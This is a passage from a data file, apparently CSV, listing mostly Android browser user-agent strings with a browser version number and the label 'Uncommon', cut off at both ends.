Safari/534.30;\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ph; MyPhone Agua Rain 2G Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I547C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S6802B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SPH-L720 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N9510 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; LG-E400 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Trio AXS 4G Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; MB860 Build/4.5.1A-129_OLY-145) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P7310 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN07120/5.12.502.2 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; SGH-T959 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3\",5.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Sensation_4G Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P3113 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-sa; LG-E400g Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; M660 Build/HuaweiM660) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; SonyC1905 Build/15.4.A.0.23) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Venue 8 3830 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I605 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; GT-P3100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; XT555C Build/V1.67D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; HTC6435LVW 4G Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5300 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5220 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; T-Mobile myTouch Q Build/HuaweiU8730) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROID2 Build/4.5.1_57_DR4-51) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P5110 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0; %lang_code%; GT-I9300 Build/IMM76D) adbeat.com/policy AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; myTouch_4G_Slide Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (linux;U;Android 5.0;en-us;E5563 Build/29.0.B.1.55) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 U3/0.8.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-N7000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; ADR3010 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Intex Cloud y12 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7000 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; id-id; GT-I9082 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-nz; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; RCT6691W3 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; ko-kr; SHV-E250L Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Android 5.0.1; HTC6525LVW Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) NTENTBrowser/1.1.0.541 (Kcell-KZ) Mobile Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-ca; GT-I9000M Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-T989D-parrot Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P5100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; N8000_WHTE_CKT Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5830M Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I317 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; SGH-T999L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; Android SDK built for x86 Build/JOP40C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Next10P12 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (SymbianOS/9.1; U; [en-us]) AppleWebKit/413 (KHTML, like Gecko) Safari/413\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-C800 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Motorola RAZR MAXX Build/6.7.2-180_DHD-16_NA-30) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-M919 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; SAGA A806 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-au; ASUS Transformer Pad TF700T Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9082 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-S5570I Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P7510 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; nl-nl; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; MB612 Build/4.5.1-KNS-29-BST-15) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-L38C Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; GT-I9060I Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P5100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fr-fr; GT-N5110 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; full Android on Microsoft Windows, pad, pc, n*books Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SGH-M919 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-I9070 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530X Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; MD_LIFETAB_P9516 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5302 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-S7580 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-S960L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; SM-G350 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I317M Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; DROID RAZR Build/6.7.2-180_DHD-16_M4-31) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; LG-P509 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-I535 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; ZTE N9120 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.3; GT-I9300 Build/JSS15J),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; de-de; ADM816KC Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; CP-DX650 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 (Cisco Endpoint)\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3.1; de-de; GT-I9195 Build/JLS36I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 CyanogenMod/10.2.1.3/serranoltexx\",4,Uncommon\nAndroid,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I200 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; H30-U10 Build/HuaweiH30-U10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDDG-Android-3.1.1,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN07120/4.18.502.7 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5570L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-au; GT-I9100T Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; SAMSUNG-SGH-I467 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; LG-P930/V10j Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I747 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; tr-tr; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC6435LVW 4G Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; tr-tr; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710BST Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; Sony Tablet S Build/TISU0143) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SGH-T679 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P3113 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.1.0/239) Dalvik/2.1.0 (Linux; U; Android 5.0; SAMSUNG-SM-G870A Build/LRX21T),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; ASUS Transformer Pad TF300T Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Android 5.0.2; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; TECNO M3 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; ALCATEL ONE TOUCH 5036A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SCH-I535 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; HTC_H1000C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-I400 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N810 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-za; GT-P5100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; USCCADR6325US Carrier ID 45 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; MZ604 Build/I.7.1-45) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; SonyEricssonR800at Build/3.0.1.B.0.285) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; Azumi A35S Build/JDQ39) AppleWebKit/534.30 (KHTML, likeGecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; es-ve; CM980 Build/HuaweiCM980) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T530 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; ZTE Blade L2 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-S968C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; SAMSUNG GT-S6810P/S6810PXXAMC4 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; 5860e Build/GWK74) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9505 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SPH-L710 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.0; en-us;) AppleWebKit/538.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/538.1 (Kobo Touch)\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; it-it; GT-I9060I Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fi-fi; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Z930L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-S7582 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Digitac Ultratab;C714 Build/ICS) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; generic) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Version/4.0 Mobile Safari/537.36\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-N7000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; HUAWEI Y600-U20 Build/HUAWEIY600-U20) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Trio AXS Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; it-it; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-; SAMSUNG-SGH-I717 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-I8150 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-au; GT-S5830 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; TAB-740_G Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; QMobile A30 Build/QMobileA30) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-N7000 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.3; en-us; SPH-M910 Build/FROYO) 